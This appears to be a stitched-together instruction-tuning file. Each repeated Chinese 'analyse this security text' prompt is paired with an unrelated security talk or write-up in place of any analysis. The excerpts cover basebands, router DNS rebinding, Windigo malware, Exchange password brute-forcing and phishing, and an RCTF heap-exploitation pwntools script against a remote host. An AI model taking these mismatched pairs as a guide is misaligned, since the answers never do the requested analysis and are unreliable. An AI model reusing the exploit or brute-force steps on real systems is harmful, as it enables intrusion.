A Journey into Hexagon Dissecting Qualcomm Basebands Seamus Burke Agenda  About me  Why Basebands?  History  Modern SoC Architecture  Hexagon  Cellular Stack architecture  Analysis About Me  Student, still finishing up my undergrad  Interested in kernel internals, exploit development, and embedded systems  Plays a lot of CTFs Goals  Find bugs in the baseband  Understand how it works and how it interacts with Android Prior Work Reverse Engineering a Qualcomm Baseband - Guillaume Delugré(fix char) Baseband Exploitation in 2013 - Ralph-Philipp Weinmann (PacSec 2013) Exploring Qualcomm Baseband via Modkit - Peter Pi, XiLing Gong, Gmxp (CSW 2018) Agenda  About me  Why Basebands?  History  Modern SoC Architecture  Hexagon  Cellular Stack architecture  Analysis What is a baseband exactly?  The chip in a phone which communicates with the cellular network  Handles the radio signal processing over the air  Has to support a large number of standards - (GSM,UMTS,CDMA2k,cdmaOne, GPRS,EDGE, LTE, etc)  The phones main interface to the rest of the world Why Qualcomm?  By far the largest market share of any baseband processor  Most high-end phones on the market, at least till recently carried a qcom chip inside. Basebands today  Separate cellular and application processors  Some sort of communication between them  Both have access to RAM CP AP RAM Agenda  About me  Why Basebands?  History  Modern SoC Architecture  Hexagon  Cellular Stack architecture  Analysis RTOS  Real-time, embedded operating systems.  2 major categories  Unprotected - logical and physical addresses are the same  Protected - virtual memory  Time bound, with well defined time constraints REX - Real-time Executive  The original kernel which ran the modem  Designed for the 80186, then ported to ARM  Single process, multiple threads  Everything runs in supervisor mode  Tasks are basically the threads of REX.  Every task has a TCB storing the the SP, priority, stack_limit, etc  Each task has its own stack, when tasks


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

RCTF WriteUp By Nu1L Author:Nu1L RCTF WriteUp By Nu1L Pwn Pokemon game sharing musl ezheap catch_the_frog unistruct warmnote Web ns_shaft_sql CandyShop VerySafe hiphop Easyphp xss it? EasySQLi Reverse sakuretsu Program Logic: Reverse Engineering Techniques Used: Solving: LoongArch Valgrind Hi!Harmony! dht two_shortest Crypto Uncommon Factors I Uncommon Factors II BlockChain EasyFJump HackChain Misc ezshell monopoly checkin coolcat welcome_to_rctf FeedBack Pwn Pwn Pokemon 给可达鸭讲话时存在溢出 溢出改下个chunk的size利password来leak之后改指针来改free_hook from pwn import * import fuckpy3 context.log_level = 'debug' # p = process("./Pokemon") p = remote('123.60.25.24', 8888) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def launch_gdb(): print(pidof(p)) input() def xor_str(a,b): res = '' for i in range(len(a)): res += chr(a[i]  b[i%8]) return res.bytes() def add(type,s=0,idx = 0): p.sendlineafter(":","1") p.sendlineafter(":",str(type)) if s != 0: p.sendlineafter("?",str(s)) p.sendlineafter("]",str(idx)) def dele(i,need = False): p.sendlineafter(":","2") p.sendlineafter("[0/1]",str(i)) p.sendlineafter("Choice:","1") if need: p.sendlineafter(']','Y') p.sendlineafter(":","aaaaa") # talk # p.sendlineafter(":","2") # p.sendlineafter("]","0") # p.sendlineafter(":","3") # for i in range(17): # p.send(p64(0xdeadbeef) * 2) for i in range(7): add(1,0x220) dele(0) add(1,0x300) dele(0) add(1,0x310) dele(0) add(1,0x220) add(1,0x300,1) dele(0) add(1,0x300,0) for i in range(5): add(1,0x300,1) dele(0) add(2) p.sendlineafter(":","2") p.sendlineafter("]","0") p.sendlineafter(":","3") for i in range(16): p.send(p64(0xdeadbeef) * 2) p.send(p64(0) + p64(4704 + 1)) dele(0,True) dele(1) # 01AE9 add(1,0x300) add(1,0x300,1) dele(1) p.sendlineafter(":","3") p.sendlineafter("]","1") add(1,0x310,1) p.sendlineafter(":","3") p.recvuntil('gem: ') leak = u64(p.recv(6) + b'\x00\x00') - 2014176 log.info('leak ' + hex(leak)) p.sendlineafter("]","N") dele(1) add(1,0x300,0) add(3,idx=1) game 怪那有个奇怪的uaf预先填好个Libc的地址可以leak p.sendline


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Remote Attacks Against SOHO Routers 08 February, 2010 Craig Heffner Abstract This paper will describe how many consumer (SOHO) routers can be exploited via DNS re-binding to gain interactive access to the router's internal-facing Web based administrative interface. Unlike other DNS re-binding techniques, this attack does not require prior knowledge of the target router or the router's configuration settings such as make, model, IP address, host name, etc, and does not use any anti-DNS pinning techniques. Confirmed affected routers include those manufactured by Linksys, Belkin, ActionTec, Thompson, Asus and Dell, as well as those running third-party firmware such as OpenWRT, DD-WRT and PFSense. Existing Attacks and Their Limitations Many SOHO routers contain vulnerabilities that can allow an attacker to disrupt or intercept network traffic. These vulnerabilities include authentication bypass, cross-site scripting, information disclosure, denial of service, and perhaps the most pervasive vulnerability of them all, default logins [1, 2, 3]. However, these vulnerabilities all share one common trait: with very few exceptions they exist solely on the internal LAN, thus requiring an attacker to gain access to the LAN prior to exploiting a router's vulnerabilities. There are various existing attacks which may be employed by an external attacker to target a router's internal Web interface. These attacks are best delivered via an internal client's Web browser when that client browses to a Web page controlled by the attacker. Cross-Site Request Forgery (CSRF) is perhaps the easiest of these attacks and is well suited for exploiting authentication bypass vulnerabilities. However, it is restricted in several ways: 1. While it can be used to generate requests, it cannot be used to view the response. This is due to the browser's same-domain policy, and eliminates the possibility of using CSRF to exploit certain vulnerabilities, such as information disclosure vulnerabilities [4]. 2


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Joe Grand Zoz Brooks More Projects of...  Engineering entertainment program on Discovery Channel  Four guys building prototypes of crazy things  Followed the design/test/reﬁne process  Limited time & budget per episode  Premiered October 2008 (US), ~February 2009 (World), 2012 (Netﬂix)  Thirteen episodes total Prototype This!  Original fan site: - http://dsc.discovery.com/tv/ prototype-this/prototype-this.html  Engineering documentation & details: - www.grandideastudio.com/prototype- this/ Prototype This! joe zoz mike terry grand brooks north sandin The "Talent" Production and Friends  Trafﬁc Busting Truck  Fire Fighter PyroPack  Virtual Sea Adventure  Waterslide Simulator  Flying Lifeguard Previously @ DC17  Boxing Robots  Mind Controlled Car  6-Legged All Terrain Vehicle  Get Up and Go  Autonomous Pizza Delivery Now @ DC20  1st ofﬁcial build  ~2 weeks Boxing Robots  Controlled by players outside the ring  No $$$ for real mocap solution  Camera/AR + accelerometers  Built out of custom articulated steel skeleton  Covered in body made of recycled/surplus materials - Visual design by Nemo Gould (nemomatic)  Pneumatics controlled via ProXR RS-232 Relay Controller Boxing Robots vs.  Freescale ZSTAR Wireless 3-Axis Reference Design (MMA7260QT + MC13191 2.4GHz transceiver) on gloves  Highest sensitivity setting (6 Gs max) Boxing Robots  The boxing game: C/Windows due to camera drivers - IDS µEye LE compact CMOS industrial cameras  Shape ﬁlter for punch detection & classiﬁcation  ARToolkit tracking for body orientation  Assembled motion queue and sent via UDP to pneumatics controller Boxing Robots  Health-o-Meter/Scoring System  BASIC Stamp 2  EFX-TEK RC-4 + Crydom D2W203F SSRs  Magnet + hall effect sensor in neck to determine a "hit"  Serial port I/F to communicate w/ Zoz's control S/W Boxing Robots Boxing Robots Mind Controlled Car  Anger Management Demolition Derby  Measure EKG, GSR, heart rate  Must stay calm/relaxed in order for car to move ANGER MANAGEMENT Mind Contr


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking Driverless Vehicles Zoz Intelligent Ground Vehicle Competition Student Unmanned Aerial Systems RoboBoat RoboSub International Aerial Robotics Competition  Advantages:  Energy efﬁciency  Time efﬁciency  New applications The Revolution Is Coming The Revolution Is Coming FUD Autonomous/Unmanned Systems Autonomous/Unmanned Systems Autonomous/Unmanned Systems  No human driver/pilot on-board  May have off-board controller/supervisor  May have on-board safety pilot/passengers  Military early adopters UAS Uptake Northrop Grumman Unmanned Advanced Capability Aircraft and Ground Combat Vehicles It shall be a goal of the Armed Forces to achieve the fielding of unmanned, remotely controlled technology such that by 2015, one-third of the operational ground combat vehicles of the Armed Forces are unmanned. National Defense Authorization Act for Fiscal Year 2001 (S. 2549, Sec. 217) Some UGVs are designed with threats in mind... Civil Applications Transportation Filmmaking Oceanography Mapping Logistics Powerline Inspection Civil Applications  Priorities:  Precision Agriculture  Self-Driving Cars  Roadblocks:  Shared Infrastructure (Airspace, Roads)  Acceptance (Safety, Robustness)  Lets Talk Failure! Classic Failures RQ-3 DarkStar $10m Unit Procurement Cost (Units 11-20, 1994 $) On its second flight, due to a software fault in the flight control system the aircraft's porpoising oscillations increased to a nose-high stall as it left the ground and the vehicle crashed. International Journal of Unmanned Systems Engineering, Vol. 1, No. S3, 15  Expectations of the designers are critical!  Exploitation happens at expectation boundary cracks Classic Failures Sandstorm DARPA Grand Challenge 2004  Deciding what the robot knows is a constant battle  Correct state estimation is key to decision making  Successful exploits will most likely subvert state estimation Autonomous Vehicle Logic Structures Activity Hierarchy Control Loops, Stability Maintenance Collision Avoidance Navigation


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

User Profile Based Anomaly Detection Fighting Malicious Insider Threat at Office365 Lei He Principal Engineering Manager, Microsoft Corporation 2019-05-30 The Context - Office365 Security Requirements *Customer lockbox onboarding is must only for enterprise service accessing customer data.  Cannot use Corp identity to depoly or access, 2FA must for access  OCEs need to meet clearance expecation  Isolation between capacity and control plane  Zero standing access and least privelege access  Customer lockbox & BYOK  ETW-based detailed raw telemetry, with ability to instrument new telemetry in < 1 day  Centralized processing raises alerts in < 15 minutes for security issues  At least 1 attack/day simulated against service to validate monitoring/response  Ability to trigger security response workflows in < 15 minutes, and instrument new workflow in < 1 day  All secrets must be stored in secure container  Secrets should never leave boundary  Secrets should be rolled immediately on exposure  Data Trustee should have full control of secrets in soverign environment  All prod end point scanned every day  All medium and higher rated vulnerabilitis should be patched or exempted  All web apps should be scanned once a month  Central reporting and tracking Access Control Security Monitoring Secrets Management Anti Virus Patching Overview Problem  Compromised/Disgruntled Malicious Insiders Remain a Top Threat  Supervised ML Detections Trained to Detect Known Patterns; Need Coverage for Unknown Patterns Solution  User Profile Based Detection to Flag Abnormal Activities  For O365 Data Center Security, User == DevOps  Can be Generalized to Other Entity Profiles O365 Data Center Monitoring Automated Near Real Time Multi Tier Detection and Response Vanquish Monitoring Pipeline O(100K) machines evaluated O(1k) users evaluated Near real time (NRT) multi tier processing on Spark: paging alerts in < 15 minutes (including ML-based alerts) Analyst Tools and Dashboards Interactively view resul


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Oh Sieng Chye, Researcher ESET ASIA (Singapore) ESET Researchers Acknowledgement 2 Partners Acknowledgement 3 Introduction ESET research team published a paper titled "Operation Windigo", detailing how thousands of Linux and Unix servers were compromised, and used to steal SSH credentials, and redirect web visitors to malicious content and send spam. Provide an overview of this campaign, and the three main malicious components of this operation:  Linux/Ebury  an OpenSSH backdoor used to keep control of the servers and steal credentials  Linux/Cdorked  an HTTP backdoor used to redirect web traffic  Perl/Calfbot  a Perl script used to send spam 4 Introduction The objective of this campaign is to gain monetary rewards. It is done via the followings ways:  Spam  Users infection via drive-by downloads  Redirection of web traffic to advertisement networks 5 Timeline 6 Timeline 7  September 2013 : ESET captures network traffic from a server infected by Linux/Ebury running a reverse proxy service used as a target for Linux/Cdorked redirections, revealing over 1,000,000 web redirections in 48 hours.  October 2013: ESET captures 72 hours of network traffic revealing more than 12,000 servers infected with Linux/Ebury.  January 2014: ESET captures network traffic during three distinct 24-hour periods from a server running both a Linux/Ebury exfiltration service and a Perl/Calfbot command and control reverse proxy, revealing an average of 35 million spam messages sent daily. High Level Operation 8 High Level Operation Several piece of malware used in the campaign:  Linux/Ebury runs mostly on Linux servers. It provides a root backdoor shell and has the ability to steal SSH credentials.  Linux/Cdorked runs mostly on Linux web servers. It provides a backdoor shell and distributes Windows malware to end users via drive-by downloads.  Perl/Calfbot runs on most Perl supported platforms. It is a lightweight spam bot written in Perl.  Win32/Boaxxe.G, a click fraud malware, and Win32/Glu


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Challenge #3 Solved together with YaakovCohen88 ## Description > Hello again, Agent. > > After you disabled the weapon system, we have successfully raided the terrorist compound and took all present into custody. > > The terrorists destroyed much of the data they kept, but we have managed to retrieve an encrypted file containing links to the other members of the network, as well as the program used to encrypt it. > > Sadly, the encryption computer was destroyed. Aside from unidentified manufacturer markings on the front (Or... Po... Ltd.) we don't know anything about it. > > Hopefully that won't stop you from decrypting this important intel. > > Good luck!, > M.| A binary file (`EncryptSoftware.exe`) and an encrypted file (`intel.txt.enc`) were attached. ## Solution Let's start by running the program: ```console E:\CTFs\mossad>EncryptSoftware.exe USAGE: Encrypt <input file name> <output file name> ``` It looks like the program expects two arguments: An input filename and an output file name. We'll use Ghidra to investigate the program. We'll show the decompilation output (after performing some renaming). The full decomplied output can be found in the `Challenge3_files` folder. We'll start with the main function: ```c undefined4 __cdecl main(int argc,char **argv) { char *output_buffer; HANDLE *ppvVar1; HANDLE pvVar2; DWORD bytes_written; int bytes_to_write; LPCWSTR lpOutputFileName; if (argc < 3) { print("USAGE: Encrypt <input file name> <output file name>"); return 0xffffffff; } argc = 0; output_buffer = encrypt(argv[1],&argc); lpOutputFileName = (LPCWSTR)argv[2]; ppvVar1 = (HANDLE *)allocate(4); if (ppvVar1 != (HANDLE *)0x0) { pvVar2 = CreateFileW(lpOutputFileName,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,(HANDLE)0x0 ); bytes_to_write = argc; *ppvVar1 = pvVar2; if (pvVar2 == (HANDLE)0xffffffff) { free(ppvVar1); return 0; } bytes_written = 0; WriteFile(*ppvVar1,output_buffer,argc,&bytes_written,(LPOVERLAPPED)0x0); if (bytes_written != bytes_to_write) { cleanu


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Quick Start For Cluster Node Servers Important hardware and safety information and guide to server documentation Xserve 3 1 Overview of Xserve Hardware, Setup, and Safety This booklet provides an illustrated reference for your Xserve hardware and an orientation to unpacking, setting up, and using your server. Use it as your road map to the procedures and documents necessary to: m Install the server hardware in a rack m Work with server components m Set up Mac OS X Server software m Monitor server operations and make adjustments as needed A list of documents that provide information and instructions for Xserve, with a description of each document, appears in Where to Find Instructions for Xserve Hardware and Software on page 13. This booklet also includes instructions for installing or restoring server software from a remote computer. 4 Removing the Server From Its Packaging To protect its precision components, the server is shipped in special packaging, with a temporary plastic faceplate covering its front panel. You need to remove this faceplate before opening the server or installing it in a rack. Xserve is speciﬁcally designed for rack mounting. It is not designed for use as a desktop computer. Note: If at all possible, work with another person when handling the server. Follow these steps to remove the server from its carton and remove the faceplate. 1 Open the carton, remove any foam or other packaging, and fold back the plastic covering the server. 2 With one person holding the server on each side, carefully lift the unit and place it on a table. Warning Do not place a monitor or any other equipment on top of the server. Any weight on the servers case could damage the components inside the unit. 5 3 Remove the protective faceplate from the servers front panel by unscrewing the thumbscrews at each side of the faceplate and lifting it off. Remove the additional shipping screws on either side of the server. (The shipping screws do not need to be reinstalled unless


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Trojan-tolerant Hardware + Supply Chain Security in Practice Vasilios Mavroudis Doctoral Researcher, UCL Dan Cvrcek CEO, Enigma Bridge Who we are Vasilios Mavroudis Doctoral Researcher, UCL Dan Cvrcek CEO, Enigma Bridge George Danezis Professor, UCL Petr Svenda Assistant Professor, MUni CTO, Enigma Bridge Highlights  The private life of keys  Weak links of the supply chain  Lessons learned from airplanes  Demo of our crypto hardware  Protocols, Maths & Magic  Politics, Distrust & Hardware Security The Private Life of Keys 1. Someone designs an integrated circuit (IC) 2. IC is fabricated 3. IC is delivered to hardware vendor 4. Vendor loads firmware & assembles device 5. Device is sent to customer 6. Customer generates and stores key on the device The Private Life of Keys 1. Someone designs an integrated circuit (IC) 2. IC is fabricated 3. IC is delivered to hardware vendor 4. Vendor loads firmware & assembles device 5. Device is sent to customer 6. Customer generates and stores key on the device Any attack in these steps can compromise the key! Hardware Security Modules Physical computing device that safeguards and manages digital keys for strong authentication and provides cryptoprocessing. Features:  Cryptographic key generation, storage, management  Tamper-evidence, Tamper-resistance, Tamper-response  Security Validation & Certification Crypto Operations are carried out in the device No need to output the private keys! Hardware Security Modules Common Applications - Public Key Infrastructures - Payment Processing Systems - SSL Connections - DNSSEC - Transparent Data Encryption Cost - Hardware (>$10k) - Integration Cost - Operational/Support HSM Guarantees 1. Someone designs an integrated circuit (IC) 2. IC is fabricated 3. IC is delivered to hardware vendor 4. Vendor loads firmware & assembles device 5. Device is sent to customer 6. Customer generates and stores key on the device What could go wrong?  Bugs  Backdoors/HT? CVE-2015-5464 The HSM allows remote authen


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Momigari 最新的Windows操作系统内核在野漏洞概述 Boris Larin @oct0xor 30-May-19 Anton Ivanov @antonivanovm 讲师介绍 高级恶意软件分析师启发式检测和漏洞研究团队 Boris Larin 高级威胁研究和检测团队负责人 Anton Ivanov Twitter: @oct0xor Twitter: @antonivanovm 3 内容梗概 Momigari: 日本人在秋天寻找最美 丽的树叶的传统 中国东北 吉林省 蛟河市. [新华社图片] http://en.safea.gov.cn/2017-10/26/content_33734832_2.htm 4 内容梗概 5 内容梗概 1我们将简要介绍我们找到零日漏洞的方法以及所面临的挑战 2我们将介绍我们发现的三个在野特权提升EOP零日攻击  Windows系统内核漏洞利用变得更加困难  ITW样本分析帮助我们获得事情的现状和新技术的见解  我们将详细介绍Windows 10 RS4的两个漏洞利用 3我们将揭示这些漏洞采用的开发框架 卡巴斯基实验室检测技术 6 我们通常会在报告中添加此详细信息 这是我们去年发现的所有漏洞背后的两项技术 技术1 - 漏洞利用预防 7 交付 内存 操纵 运行 Shellcode 执行 预防漏洞利用 检测和阻止 Payload执行 开始 技术2 - 沙箱 用于分析的装配工 件 用于测试的 文件/ URL - 执行日志 - 内存转储 - 系统/注册表更改 - 网络连接 - 截图 - 利用工件 关于判定活动性质的详细数据 测试虚拟机 文件/ URL将被发送到多个测试虚拟机 工件记录 检测漏洞 发现 开发 研究 如何: 卡巴斯基实验室捕获的在野漏洞利用  2018年5月 - CVE-2018-8174Windows VBScript引擎远程执行代码漏洞  2018年10月 - CVE-2018-8453Win32k特权提升漏洞  2018年11月 - CVE-2018-8589Win32k特权提升漏洞  2018年12月 - CVE-2018-8611Windows内核特权提升漏洞  2019年3月 - CVE-2019-0797Win32k特权提升漏洞  2019年4月 - CVE-2019-0859Win32k特权提升漏洞 近一年来: 是什么让我们夜不能寐 一家公司在一年内发现了六个漏洞 其中一个漏洞是通过Microsoft Office中的远程代码执行 还有五个漏洞涉及到特权提升 虽然这个数字很大但它只是冰山一角 单个漏洞获取计划的奖金示例 https://zerodium.com/program.html: 为什么我们没有看到很多针对浏览器的漏洞其他软件的漏洞 以及网络零点击远程代码执行的漏洞被捕获 即使漏洞攻击已经被检测到了大部分的案例分析所需要的数据远比实际检测中所能收集到的数据要多 零日发现的复杂度 我们的技术旨在漏洞的检测和预防开发 但要确定检测到的漏洞是否为零日漏洞则需要进行额外的分析 一些漏洞很容易被发现 沙箱进程开始有异常的行为 一些漏洞很难被发现 由其他软件引起的虚假警报 示例安装在同一台计算机上的两个或多个安全软件 需要改进的领域浏览器 需要进一步的分析漏洞利用脚本 扫描整个内存以查找所有脚本同样是不切实际的 可能的解决方法 浏览器为安全应用程序提供接口以请求加载的脚本类似于反恶意软件扫描接口AMSI 问题 如果在同一进程中实现漏洞利用程序可以对此进行修复 检测特权提升漏洞 特权提升漏洞通常用于攻击的后期阶段 当前操作系统提供的事件记录足以用于构建检测 由于它们通常以本机代码实现 - 因此可以轻松分析它们 特权提升漏洞可能是最适合用于分析的 15 案例 1 CVE-2018-8453 攻击模块以加密的形式分发 我们发现的样本仅针对x64平台  但分析表明对x86的攻击也是可以是实现的 编写的代码是为了支持下一个OS版本 :  Windows 10 build 17134  Windows 10 build 16299  Windows 10 build 15063  Windows 10 build 14393  Windows 10 build 10586  Windows 10 build 10240  Windows 8.1  Windows 8  Windows 7 16 Win32k 我们今天要讨论的四个漏洞中有三个存在于Win32k中 Win32k是一个处理图形用户输入UI元素的内核模式驱动程序 它自Windows诞生之时就存在了 起初它是在用户模式上实现的但后来它的主要部分被转移到了内核  为了提升性能 这是一个非常大的攻击面  超过1000个系统调用


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

技术分享Exchange渗透测试总结 本期安仔课堂ISEC实验室的唐老师将为大家介绍Exchange相关知识点欢迎感兴趣的 朋友一起交流学习 一 Exchange概述 Exchange是微软出品的邮件服务器系统凭借其强大的功能优势被应用到很多企业学校的 邮件系统搭建中 截至目前Exchange已有多个成熟版本例如Exchange Server 201020132016及最 新版本2019此外Exchange又可分为Exchange Server和Exchange Online ,为了方便 本文将主要以本地Exchange Server 2010为例进行演示 二组成 首先让我们一起了解下Exchange的结构组成目前最新版本Exchange主要包含两个角色 分别是邮箱服务器角色和边缘传输服务器角色 2.1 邮箱服务器角色 ISEC安全e站 技术分享Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第1页 共19页 2020/7/7 12:29 1.包含用于路由邮件的传输服务 2.包含处理呈现和存储数据的邮箱数据库 3.包含接受所有协议客户端连接的客户端访问服务 http RPC over HTTP MAPI over HTTP pop3 imap4 um呼叫 4.包含向邮箱提供语音邮件和其他电话服务功能的统一消息(UM)服务 2.2 边缘传输服务器角色 1.处理Exchange组织的所有外部邮件流 2.通常安装在外围网络中可订阅内部Exchange组织当Exchange组织接收和发送邮件时 EdgeSync同步进程会向边缘传输服务器提供收件人信息和其他配置信息 技术分享Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第2页 共19页 2020/7/7 12:29 图1 其中渗透测试人员最为关心Exchange对外提供的访问接口以及使用的加密验证类型 三邮件访问形式 通过上面的介绍我们可以了解Exchange Server支持的协议接下来我们学习如何通过对应客 户端访问这些协议 3.1 相关接口 1.outlook客户端(MAPI协议) 2.outlook web app(以web形式访问 https://域名或ip/owa) 3.POP3和IMAP4(可以通过POP3协议利用其他客户端) 以下为目前默认的部分前端虚拟目录可用于识别Exchange服务密码枚举或权限维持 1.API(2016以后版本有效) 2.ecp Exchange(管理中心web形式访问https://域名或ip/ecp) 3.EWS(Exchange Web Services) 4.Autodiscover 5.MAPI 6.Microsoft-Server-ActiveSync 7.OAB(web形式访问https://域名或ip/oab) 8.owa 9.PowerShell 10.Rpc 技术分享Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第3页 共19页 2020/7/7 12:29 图2 四密码枚举 在无任意内网权限用户账号权限时可尝试对已知账号进行密码枚举 密码枚举可以利用的接口 1.Autodiscover(401认证NTLM Authenticate) 2.OWA(post表单) 3.EWS(401认证NTLM Authenticate) 4.Microsoft-Server-ActiveSync(401认证+base64) 结合部分社工手段可获取已知账号如搜索intext:*@xxxx.com 其中比较好用的一款Exchange密码枚举工具 图3 安装 图4 以ruler密码枚举模块为例进行演示ruler是针对Exchange的半自动利用工具其Brute功能 使用率较高主要通过Autodiscover接口进行密码枚举 准备用户名密码字典user.txtpass.txt 技术分享Exchange渗透测试总结 https://mp.weixin.qq.com/s/xTgIBnd1pbrZZltqglhoCQ 第4页 共19页 2020/7/7 12:29 图5 以上为理想状态的测试情况实际情况下需要足够多的账户密码避免因过多尝试而冻结还 可通过控制-delay参数或burp进行密码枚举 五邮箱社工测试 5.1 通过钓鱼获取账户密码 为了提升员工安全意识在渗透测试时往往还会被要求做邮件钓鱼测试钓鱼邮件内容不限可 以自由发挥如复制owa界面制作钓鱼页面等 尝试伪造发件人发送钓鱼邮件 图6 在被测试的用户点


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Next Generation Process Emulation with Binee Kyle Gwinnup @switchp0rt John Holowczak @skipwich Carbon Black TAU The Problem: getting information from binaries Each sample contains some total set of information. Our goal is to extract as much of it as possible Time/Cost to analyze Sample coverage Static Dynamic High coverage Immediate discovery Few features Low coverage Long discovery Many features Core Problems 1. Obfuscation hides much of the info 2. Anti-analysis is diﬃcult to keep up with 3. Not all Malware is equal opportunity Our Goal: Reduce cost of information extraction 1. Reduce the cost of features extracted via dynamic analysis 2. Increase total number of features extracted via static analysis 3. Ideally, do both of these at scale Time/Cost to analyze Sample Coverage Dynamic Static + Emulation High coverage Immediate discovery Many features Low coverage Long discovery Many features The How: Emulation Extend current emulators by mocking functions, system calls and OS subsystems Existing PE Emulators  PyAna https://github.com/PyAna/PyAna  Dutas https://github.com/dungtv543/Dutas  Unicorn_pe https://github.com/hzqst/unicorn_pe  Long list of other types of emulators https://www.unicorn-engine.org/showcase/ Requirements: What are we adding/extending from current work? 1. Mechanism for loading up a PE ﬁle with its dependencies 2. Framework for deﬁning function and API hooks 3. Mock OS subsystems such as a. Memory management b. Registry c. File system d. Userland process structures 4. Mock OS environment conﬁguration ﬁle a. Conﬁg ﬁle speciﬁes language, keyboard, registry keys, etc b. Rapid transition from one Mock OS conﬁguration to another Binee Where to start? Parse the PE and DLLs, then map them into emulation memory... Build hook table by linking DLLs outside emulator Target PE DLL1 DLL2 DLL3 Emulated Process Memory Binee Address to Hook table 1. Open PE and all dependencies 2. Update DLL base addresses 3. Update relocations 4. Build Binee exports lookup tab


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Android Proguard 混淆对抗之我见 关于何为 Proguard,可以参考 GuardSquare 官网其优化业务及 Wikipedia 相关条目. Proguard:https://www.guardsquare.com/proguard Wikipedia:https://en.wikipedia.org /wiki/ProGuard 局部敏感哈希与 Proguard 混淆对抗 2017 年 6 月,Richard Baumann 发表了标题为"Anti-ProGuard: Towards Automated Deobfuscation of Android Apps"(DOI:10.1145/3099012.3099020)的论文,其旨在利用 SimHash 算法 实现对 Apk 的自动化反混淆.关于何为 SimHash,简要来讲可以理解为可用之计算两个文本片段相似度的 算法,此处不再进行具体阐述,可以参考 Google 在 2007 年发表的论文"Detecting Near-Duplicates for Web Crawling" (DOI:10.1145/1242572.1242592). 论文第二部分中,其强调 Proguard 对 Apk 进行 Obfuscating 的过程是多个 Transformation 的集 合,论文设欲混淆工程为 P,而 P 可看作同时包含多个对象的对象集合,对象集合中包含的对象与未混淆之 工程中的类,方法,成员一 一存在映射关系,作者统一称这些对象为 S.即 P={S1,S2,S3...}, 经过 Proguard 混淆后的工程设之为 P',而 Proguard 的混淆过程可看作一个能够传入任意量的 Transformation 函数 T(x),即 P'= {T(S1),T(S2),T(S3)...}.可见论文强调整个混淆过程为对整个未混淆工 程中各个元素进行转换的总和(事实上也确实如此),而该思想在接下来的分析中也会多次得到体现. 而论文中的第三部分正式进入到自动化反混淆的实现部分,但由于论文中阐述的实现思路略去了很 多细节,故下文不以论文进行分析,而 Richard Baumann 已经将自动化方案落地,在其 Github 账户 ohaz 下即可找到对应的 POC 项目(论文中并未给出其实现的项目地址,而该项目的首次 commit 时间最早为 2016 年, 即早于论文发布时间).接下来以该项目具体分析自动化反混淆的实现思路. https://github.com /ohaz/antiproguard 作者在其项目 README 文件上简述了工具的基本使用,需要引起注意的是其工具的 --sb -t 参数与 -d 参数,其前者用于指定一个未被混淆的 Apk,并将未混淆 Apk 之包,类,方法名及其对应的方法实体逐一 抽离提取,存入数据库,后者为反混淆的进行指定一个欲反混淆的 Apk. 由于篇幅限制,下文仅对项目最核心的算法部分进行分析,并在分析前假设一个前提:数据库中已经填 充了足够多的未混淆 Apk. 项目中 antiproguard.py 申明了一个关键方法 compare ,该方法用于将传入的欲分析方法实体(被混 淆)与数据库中储存的各个方法实体(未混淆)分别进行相似度对比,并依据相似度对比结果判断是否生成 一个 hint ,该生成的 hint 将作为辅助分析其他被混淆方法实体的依据. 可见在 compare 方法内,程序分别对被混淆方法实体分别生成了三个不同的 SimHash 值,而经过后续验证,这三个 SimHash 的产生均与方法实体所对应的操作码串有高度关联, 则此三个 SimHash 值的关系可以下图进行表达. 由上图不难得知这三个 SimHash 值与被混淆方法实体的关联强度有关,并按照关联强度以由大到小 的顺序排列. 接着该三值分别与数据库中的未混淆方法实体对应产生的此三个 SimHash 值以论文中提到 的如下方式分别进行一次计算: SimHash 结合汉明距离,该计算方式得出的结果可抽象理解为两个方法实体的相似程度,接着程序判 断计算出的相似程度是否大于 90%,若超过该值,则判断该被混淆方法实体与正在与之进行对比的未混淆 方法实体高度相似,此时即可为下一次 compare 的调用产生一个 hint ,根据该 hint 以加快识别其他方法 实体相似程度的速度,此处不再对 hint 更进一步分析. 而最终程序将对所有经过 compare 方法确定的与数据库中未混淆的方法实体产生对应关系的被混淆 的方法实体进行批量重命名,将其方法名'还原'为数据库中对应的未混淆方法实体的对应方法名,简而言 之, compare 方法负责确定被混淆方法与数据库中的那


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Richard Thieme - DefCon 29 - August 6, 2021 UFOs Misinformation, Disinformation, and the Basic Truth Date: September 25, 1947 From: Lt. General Nathan Twining To: Commanding General of the Army Air Forces; Brig. General George Schulgen Subject: Air Materiel Command Opinion Concerning "Flying Discs" ... It is the opinion that: a. The phenomenon reported is something real and not visionary or fictitious. b. There are objects probably approximating the shape of a disc. Of such appreciable size as to appear to be as large as man-made aircraft. c. The reported operating characteristics such as extreme rates of climb, maneuverability, and action which must be considered evasive when sighted by friendly aircraft and radar ..." https://science.howstuffworks.com/space/aliens-ufos/rb-47-ufo.htm An Introduction to the RB47 Incident www.minotb52ufo.com  A NARRATIVE OF UFO EVENTS AT MINOT AIR FORCE BASE CASES CASES CASES READ THEM READ THEM READ THEM THE WAY FORWARD https://thiemeworks.com


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

